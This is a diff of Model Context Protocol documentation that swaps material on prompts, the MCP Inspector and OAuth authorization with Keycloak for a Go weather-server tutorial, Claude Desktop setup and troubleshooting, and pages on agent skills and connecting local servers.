github.com/modelcontextprotocol/go-sdk/mcp -Applications typically expose prompts through various UI patterns such as: + # Create our server file + new-item main.go + ``` + -* Slash commands (typing "/" to see available prompts like /plan-vacation) -* Command palettes for searchable access -* Dedicated UI buttons for frequently used prompts -* Context menus that suggest relevant prompts + Now let's dive into building your server. -## Bringing Servers Together + ## Building your server -The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface. + ### Importing packages and constants -### Example: Multi-Server Travel Planning + Add these to the top of your `main.go`: -Consider a personalized AI travel planner application, with three connected servers: + ```go theme={null} + package main -* **Travel Server** - Handles flights, hotels, and itineraries -* **Weather Server** - Provides climate data and forecasts -* **Calendar/Email Server** - Manages schedules and communications + import ( + "cmp" + "context" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "strings" -#### The Complete Flow + "github.com/modelcontextprotocol/go-sdk/mcp" + ) -1. **User invokes a prompt with parameters:** + const ( + NWSAPIBase = "https://api.weather.gov" + UserAgent = "weather-app/1.0" + ) + ``` - ```json theme={null} - { - "prompt": "plan-vacation", - "arguments": { - "destination": "Barcelona", - "departure_date": "2024-06-15", - "return_date": "2024-06-22", - "budget": 3000, - "travelers": 2 - } - } - ``` + ### Data structures -2. **User selects resources to include:** - * `calendar://my-calendar/June-2024` (from Calendar Server) - * `travel://preferences/europe` (from Travel Server) - * `travel://past-trips/Spain-2023` (from Travel Server) + Next, let's define the data structures used by our tools: -3. **AI processes the request using tools:** + ```go theme={null} + type PointsResponse struct { + Properties struct { + Forecast string `json:"forecast"` + } `json:"properties"` + } - The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips. + type ForecastResponse struct { + Properties struct { + Periods []ForecastPeriod `json:"periods"` + } `json:"properties"` + } - Using this context, the AI then executes a series of Tools: + type ForecastPeriod struct { + Name string `json:"name"` + Temperature int `json:"temperature"` + TemperatureUnit string `json:"temperatureUnit"` + WindSpeed string `json:"windSpeed"` + WindDirection string `json:"windDirection"` + DetailedForecast string `json:"detailedForecast"` + } - * `searchFlights()` - Queries airlines for NYC to Barcelona flights - * `checkWeather()` - Retrieves climate forecasts for travel dates + type AlertsResponse struct { + Features []AlertFeature `json:"features"` + } - The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary: + type AlertFeature struct { + Properties AlertProperties `json:"properties"` + } - * `bookHotel()` - Finds hotels within the specified budget - * `createCalendarEvent()` - Adds the trip to the user's calendar - * `sendEmail()` - Sends confirmation with trip details + type AlertProperties struct { + Event string `json:"event"` + AreaDesc string `json:"areaDesc"` + Severity string `json:"severity"` + Description string `json:"description"` + Instruction string `json:"instruction"` + } -**The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP. + type ForecastInput struct { + Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"` + Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"` + } + type AlertsInput struct { + State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"` + } + ``` -# SDKs -Source: https://modelcontextprotocol.io/docs/sdk + ### Helper functions -Official SDKs for building with Model Context Protocol + Next, let's add our helper functions for querying and formatting the data from the National Weather Service API: -Build MCP servers and clients using our official SDKs. All SDKs provide the same core functionality and full protocol support. + ```go theme={null} + func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) + if err != nil { + return nil, fmt.Errorf("failed to create request: %w", err) + } -## Available SDKs + req.Header.Set("User-Agent", UserAgent) + req.Header.Set("Accept", "application/geo+json") - - + client := http.DefaultClient + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("failed to make request to %s: %w", url, err) + } + defer resp.Body.Close() - + if resp.StatusCode != http.StatusOK { + body, _ := io.ReadAll(resp.Body) + return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body)) + } - + var result T + if err := json.NewDecoder(resp.Body).Decode(&result); err != nil { + return nil, fmt.Errorf("failed to decode response: %w", err) + } - + return &result, nil + } - + func formatAlert(alert AlertFeature) string { + props := alert.Properties + event := cmp.Or(props.Event, "Unknown") + areaDesc := cmp.Or(props.AreaDesc, "Unknown") + severity := cmp.Or(props.Severity, "Unknown") + description := cmp.Or(props.Description, "No description available") + instruction := cmp.Or(props.Instruction, "No specific instructions provided") + + return fmt.Sprintf(` + Event: %s + Area: %s + Severity: %s + Description: %s + Instructions: %s + `, event, areaDesc, severity, description, instruction) + } - + func formatPeriod(period ForecastPeriod) string { + return fmt.Sprintf(` + %s: + Temperature: %d°%s + Wind: %s %s + Forecast: %s + `, period.Name, period.Temperature, period.TemperatureUnit, + period.WindSpeed, period.WindDirection, period.DetailedForecast) + } + ``` - + ### Implementing tool execution - + The tool execution handler is responsible for actually executing the logic of each tool. Let's add it: - + ```go theme={null} + func getForecast(ctx context.Context, req *mcp.CallToolRequest, input ForecastInput) ( + *mcp.CallToolResult, any, error, + ) { + // Get points data + pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude) + pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL) + if err != nil { + return &mcp.CallToolResult{ + Content: []mcp.Content{ + &mcp.TextContent{Text: "Unable to fetch forecast data for this location."}, + }, + }, nil, nil + } - - + // Get forecast data + forecastURL := pointsData.Properties.Forecast + if forecastURL == "" { + return &mcp.CallToolResult{ + Content: []mcp.Content{ + &mcp.TextContent{Text: "Unable to fetch forecast URL."}, + }, + }, nil, nil + } -## Getting Started + forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL) + if err != nil { + return &mcp.CallToolResult{ + Content: []mcp.Content{ + &mcp.TextContent{Text: "Unable to fetch detailed forecast."}, + }, + }, nil, nil + } -Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support: + // Format the periods + periods := forecastData.Properties.Periods + if len(periods) == 0 { + return &mcp.CallToolResult{ + Content: []mcp.Content{ + &mcp.TextContent{Text: "No forecast periods available."}, + }, + }, nil, nil + } -* Creating MCP servers that expose tools, resources, and prompts -* Building MCP clients that can connect to any MCP server -* Local and remote transport protocols -* Protocol compliance with type safety + // Show next 5 periods + var forecasts []string + for i := range min(5, len(periods)) { + forecasts = append(forecasts, formatPeriod(periods[i])) + } -Visit the SDK page for your chosen language to find installation instructions, documentation, and examples. + result := strings.Join(forecasts, "\n---\n") -## Next Steps + return &mcp.CallToolResult{ + Content: []mcp.Content{ + &mcp.TextContent{Text: result}, + }, + }, nil, nil + } -Ready to start building with MCP? Choose your path: + func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) ( + *mcp.CallToolResult, any, error, + ) { + // Build alerts URL + stateCode := strings.ToUpper(input.State) + alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode) + + alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL) + if err != nil { + return &mcp.CallToolResult{ + Content: []mcp.Content{ + &mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."}, + }, + }, nil, nil + } - - - Learn how to create your first MCP server - + // Check if there are any alerts + if len(alertsData.Features) == 0 { + return &mcp.CallToolResult{ + Content: []mcp.Content{ + &mcp.TextContent{Text: "No active alerts for this state."}, + }, + }, nil, nil + } - - Create applications that connect to MCP servers - - + // Format alerts + var alerts []string + for _, feature := range alertsData.Features { + alerts = append(alerts, formatAlert(feature)) + } + result := strings.Join(alerts, "\n---\n") -# MCP Inspector -Source: https://modelcontextprotocol.io/docs/tools/inspector + return &mcp.CallToolResult{ + Content: []mcp.Content{ + &mcp.TextContent{Text: result}, + }, + }, nil, nil + } + ``` -In-depth guide to using the MCP Inspector for testing and debugging Model Context Protocol servers + ### Running the server -The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. While the [Debugging Guide](/legacy/tools/debugging) covers the Inspector as part of the overall debugging toolkit, this document provides a detailed exploration of the Inspector's features and capabilities. + Finally, implement the main function to run the server: -## Getting started + ```go theme={null} + func main() { + // Create MCP server + server := mcp.NewServer(&mcp.Implementation{ + Name: "weather", + Version: "1.0.0", + }, nil) + + // Add get_forecast tool + mcp.AddTool(server, &mcp.Tool{ + Name: "get_forecast", + Description: "Get weather forecast for a location", + }, getForecast) + + // Add get_alerts tool + mcp.AddTool(server, &mcp.Tool{ + Name: "get_alerts", + Description: "Get weather alerts for a US state", + }, getAlerts) + + // Run server on stdio transport + if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil { + log.Fatal(err) + } + } + ``` -### Installation and basic usage + Build your server with: -The Inspector runs directly through `npx` without requiring installation: + ```bash theme={null} + go build -o weather . + ``` -```bash theme={null} -npx @modelcontextprotocol/inspector -``` + The compiled binary will be in `./weather`. -```bash theme={null} -npx @modelcontextprotocol/inspector -``` + Let's now test your server from an existing MCP host, Claude for Desktop. -#### Inspecting servers from npm or PyPI + ## Testing your server with Claude for Desktop -A common way to start server packages from [npm](https://npmjs.com) or [PyPI](https://pypi.org). + + Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. + - - - ```bash theme={null} - npx -y @modelcontextprotocol/inspector npx - # For example - npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop - ``` - + First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** - - ```bash theme={null} - npx @modelcontextprotocol/inspector uvx - # For example - npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git - ``` - - + We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. -#### Inspecting locally developed servers + For example, if you have [VS Code](https://code.visualstudio.com/) installed: -To inspect servers locally developed or downloaded as a repository, the most common -way is: + + ```bash macOS/Linux theme={null} + code ~/Library/Application\ Support/Claude/claude_desktop_config.json + ``` - - - ```bash theme={null} - npx @modelcontextprotocol/inspector node path/to/server/index.js args... - ``` - + ```powershell Windows theme={null} + code $env:AppData\Claude\claude_desktop_config.json + ``` + - - ```bash theme={null} - npx @modelcontextprotocol/inspector \ - uv \ - --directory path/to/server \ - run \ - package-name \ - args... - ``` + You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. + + In this case, we'll add our single weather server like so: + + + ```json macOS/Linux theme={null} + { + "mcpServers": { + "weather": { + "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather" + } + } + } + ``` + + ```json Windows theme={null} + { + "mcpServers": { + "weather": { + "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\weather.exe" + } + } + } + ``` + + + + Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension. + + + This tells Claude for Desktop: + + 1. There's an MCP server named "weather" + 2. Launch it by running the compiled binary at the specified path + + Save the file, and restart **Claude for Desktop**. -Please carefully read any attached README for the most accurate instructions. +### Test with commands -## Feature overview +Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by looking for the "Add files, connectors, and more /" icon: -The Inspector provides several features for interacting with your MCP server: +After clicking on the plus icon, hover over the "Connectors" menu. You should see the `weather` servers listed: -### Server connection pane + + + -* Allows selecting the [transport](/legacy/concepts/transports) for connecting to the server -* For local servers, supports customizing the command-line arguments and environment +If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips. -### Resources tab +If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop: -* Lists all available resources -* Shows resource metadata (MIME types, descriptions) -* Allows resource content inspection -* Supports subscription testing +* What's the weather in Sacramento? +* What are the active weather alerts in Texas? -### Prompts tab + + + -* Displays available prompt templates -* Shows prompt arguments and descriptions -* Enables prompt testing with custom arguments -* Previews generated messages + + + -### Tools tab + + Since this is the US National Weather service, the queries will only work for US locations. + -* Lists available tools -* Shows tool schemas and descriptions -* Enables tool testing with custom inputs -* Displays tool execution results +## What's happening under the hood -### Notifications pane +When you ask a question: -* Presents all logs recorded from the server -* Shows notifications received from the server +1. The client sends your question to Claude +2. Claude analyzes the available tools and decides which one(s) to use +3. The client executes the chosen tool(s) through the MCP server +4. The results are sent back to Claude +5. Claude formulates a natural language response +6. The response is displayed to you! -## Best practices +## Troubleshooting -### Development workflow + + + **Getting logs from Claude for Desktop** -1. Start Development - * Launch Inspector with your server - * Verify basic connectivity - * Check capability negotiation + Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`: -2. Iterative testing - * Make server changes - * Rebuild the server - * Reconnect the Inspector - * Test affected features - * Monitor messages + * `mcp.log` will contain general logging about MCP connections and connection failures. + * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server. -3. Test edge cases - * Invalid inputs - * Missing prompt arguments - * Concurrent operations - * Verify error handling and error responses + You can run the following command to list recent logs and follow along with any new ones: -## Next steps + ```bash theme={null} + # Check Claude's logs for errors + tail -n 20 -f ~/Library/Logs/Claude/mcp*.log + ``` - - - Check out the MCP Inspector source code - + **Server not showing up in Claude** - - Learn about broader debugging strategies - - + 1. Check your `claude_desktop_config.json` file syntax + 2. Make sure the path to your project is absolute and not relative + 3. Restart Claude for Desktop completely + + To properly restart Claude for Desktop, you must fully quit the application: -# Understanding Authorization in MCP -Source: https://modelcontextprotocol.io/docs/tutorials/security/authorization + * **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit". + * **macOS**: Use Cmd+Q or select "Quit Claude" from the menu bar. -Learn how to implement secure authorization for MCP servers using OAuth 2.1 to protect sensitive resources and operations + Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect. + -Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints. + **Tool calls failing silently** -MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13). For detailed information, see the [Authorization specification](/specification/latest/basic/authorization). + If Claude attempts to use the tools but they fail: -## When Should You Use Authorization? + 1. Check Claude's logs for errors + 2. Verify your server builds and runs without errors + 3. Try restarting Claude for Desktop -While authorization for MCP servers is **optional**, it is strongly recommended when: + **None of this is working. What do I do?** -* Your server accesses user-specific data (emails, documents, databases) -* You need to audit who performed which actions -* Your server grants access to its APIs that require user consent -* You're building for enterprise environments with strict access controls -* You want to implement rate limiting or usage tracking per user + Please refer to our [debugging guide](/docs/tools/debugging) for better debugging tools and more detailed guidance. + - - **Authorization for Local MCP Servers** + + **Error: Failed to retrieve grid point data** - For MCP servers using the [STDIO transport](/specification/latest/basic/transports#stdio), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows. + This usually means either: - OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server. - + 1. The coordinates are outside the US + 2. The NWS API is having issues + 3. You're being rate limited -## The Authorization Flow: Step by Step + Fix: -Let's walk through what happens when a client wants to connect to your protected MCP server: + * Verify you're using US coordinates + * Add a small delay between requests + * Check the NWS API status page - - - When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728). The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header. + **Error: No active alerts for \[STATE]** - ```http theme={null} - HTTP/1.1 401 Unauthorized - WWW-Authenticate: Bearer realm="mcp", - resource_metadata="https://your-server.com/.well-known/oauth-protected-resource" - ``` + This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather. + + - This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow. - + + For more advanced troubleshooting, check out our guide on [Debugging MCP](/docs/tools/debugging) + - - With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below. +## Next steps - ```json theme={null} - { - "resource": "https://your-server.com/mcp", - "authorization_servers": ["https://auth.your-server.com"], - "scopes_supported": ["mcp:tools", "mcp:resources"] - } - ``` + + + Learn how to build your own MCP client that can connect to your server + - You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r). - + + Check out our gallery of official MCP servers and implementations + - - Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use. + + Learn how to effectively debug MCP servers and integrations + - With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support) - and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow. + + Use agent skills to guide AI coding assistants through server design + + - ```json theme={null} - { - "issuer": "https://auth.your-server.com", - "authorization_endpoint": "https://auth.your-server.com/authorize", - "token_endpoint": "https://auth.your-server.com/token", - "registration_endpoint": "https://auth.your-server.com/register" - } - ``` - - - With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways. +# Build with Agent Skills +Source: https://modelcontextprotocol.io/docs/develop/build-with-agent-skills - First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow. +Use agent skills to guide AI coding assistants through MCP server design and implementation - Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information: +[Agent skills](https://agentskills.io/home) are portable instruction sets that +give AI coding assistants domain knowledge for a task. For MCP development, +they encode the design decisions (deployment model, tool patterns, auth) so +your agent can interrogate your use case and scaffold a server that fits. - ```json theme={null} - { - "client_name": "My MCP Client", - "redirect_uris": ["http://localhost:3000/callback"], - "grant_types": ["authorization_code", "refresh_token"], - "response_types": ["code"] - } - ``` +## Available skills - If the registration succeeds, the authorization server will return a JSON blob with client registration information. +A reference set of MCP development skills is available as the +[`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev). +It provides three composing skills: - - **No DCR or Pre-Registration** +| Skill | Purpose | +| ------------------ | ----------------------------------------------------------------------------------------------------------------------- | +| `build-mcp-server` | Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills. | +| `build-mcp-app` | Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat. | +| `build-mcpb` | Packages a local stdio server with its runtime so users can install it without Node or Python. | - In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually. - - +Each skill ships a `SKILL.md` file plus a `references/` folder of supporting +material (auth flows, tool-design patterns, widget templates, manifest schemas) +that the agent reads on demand. The files follow the open format and work with +any agent that implements the standard. For example, to install them in Claude +Code: - - The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens: +```bash theme={null} +/plugin marketplace add anthropics/claude-plugins-official +/plugin install mcp-server-dev +``` - ```json theme={null} - { - "access_token": "eyJhbGciOiJSUzI1NiIs...", - "refresh_token": "def502...", - "token_type": "Bearer", - "expires_in": 3600 - } - ``` +For other agents, check your skills or extensions catalog, or clone the +[skill directories](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev/skills) +(`SKILL.md` plus `references/`) into your agent's skills location. - The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions. - +## Start a build - - Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header: +With the skills installed, ask your agent to help you build an MCP server. The +entry skill triggers on natural-language requests, or you can invoke it +directly using your agent's skill-invocation syntax. - ```http theme={null} - GET /mcp HTTP/1.1 - Host: your-server.com - Authorization: Bearer eyJhbGciOiJSUzI1NiIs... - ``` +The skill runs a short discovery phase before writing any code. Expect +questions about: - The MCP server will need to validate the token and process the request if the token is valid and has the required permissions. - - +* **What it connects to** — a cloud API, a local process, the filesystem, hardware +* **Who will use it** — just you, your team, or anyone who installs it +* **Action surface size** — a handful of operations versus wrapping a large API +* **User interaction needs** — plain text results, structured input via + [elicitation](/specification/draft/client/elicitation), or rich UI widgets +* **Upstream auth** — API keys, OAuth 2.0, or none -## Implementation Example +If your opening message already covers these, the agent skips ahead to the +recommendation. -To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation. +## Deployment paths -Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/). We will need it to deploy Keycloak on our development machine. +Based on discovery, the skill recommends one of four paths and scaffolds +accordingly: -### Keycloak Setup +**Remote [Streamable HTTP](/specification/draft/basic/transports#streamable-http)** +is the default for anything wrapping a cloud API. Zero install friction, one +deployment serves all users, and OAuth flows work properly because the server +can handle redirects and token storage. The reference skill includes scaffolds +for Cloudflare Workers and portable Express/FastMCP setups. -From your terminal application, run the following command to start the Keycloak container: +**[MCP apps](/extensions/apps/overview)** extend a server with interactive +widgets rendered in chat, such as searchable pickers, charts, and live +dashboards. The skill hands off to `build-mcp-app` when +[elicitation's](/specification/draft/client/elicitation) flat-form constraints +don't fit. -```bash theme={null} -docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev -``` +**[MCP Bundles (MCPB)](https://github.com/modelcontextprotocol/mcpb)** package a +local server together with its runtime as a single `.mcpb` archive, so users +can install it without setting up Node or Python. Use this path when the server +must touch the user's machine: reading local files, driving desktop apps, or +talking to localhost services. The skill hands off to `build-mcpb`. -This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password. +**Local [stdio](/specification/draft/basic/transports#stdio)** remains available +for prototyping, with a noted upgrade path to MCPB when you're ready to +distribute. - - **Not for Production** +## Next steps - The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability. - +Once your agent scaffolds the server, iterate on tool descriptions and error +handling, then test and ship: -You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`. + + + Test your server's tools, resources, and prompts interactively + - - Keycloak admin dashboard authentication dialog. - + + Wire your server into an MCP client via local or remote configuration + -When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at: + + Make your server discoverable in the MCP Registry + + -```http theme={null} -http://localhost:8080/realms/master/.well-known/openid-configuration -``` -We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration. +# Connect to local MCP servers +Source: https://modelcontextprotocol.io/docs/develop/connect-local-servers -Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server. +Learn how to extend Claude Desktop with local MCP servers to enable file system access and other powerful integrations + +Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications. + +This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the [many clients that support MCP](/clients). While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action. - Configuring Keycloak scopes. + Claude Desktop with filesystem integration showing file management capabilities -After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation. +## Prerequisites -Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios. +Before starting this tutorial, ensure you have the following installed on your system: -To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**. +### Claude Desktop - - Configuring an audience for a token in Keycloak. - +Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows. -For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server. +If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..." - - **Not for Production** +### Node.js - The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value. - +The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running: -Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup. +```bash theme={null} +node --version +``` - - Setting up client registration details in Keycloak. - +If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommend the LTS (Long Term Support) version for stability. - - **Getting the Host** +## Understanding MCP Servers - If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs. - +MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for: -Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/). To do that: +* Reading file contents and directory structures +* Creating new files and directories +* Moving and renaming files +* Searching for files by name or content -1. Go to **Clients**. -2. Click **Create client**. -3. Give your client a unique **Client ID** and click **Next**. -4. Enable **Client authentication** and click **Next**. -5. Click **Save**. +All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify. -Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform. +## Installing the Filesystem Server -When you open the client details, go to **Credentials** and take note of the **Client Secret**. +The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them. - - Creating a new client in Keycloak. - + + + Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..." - - **Handling Secrets** + On macOS, this appears in the top menu bar: - Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage. - + + Claude Desktop menu showing Settings option + -With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this: + This opens the Claude Desktop configuration window, which is separate from your Claude account settings. + -```text theme={null} -eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg -``` + + In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features. -Decoded, it will look like 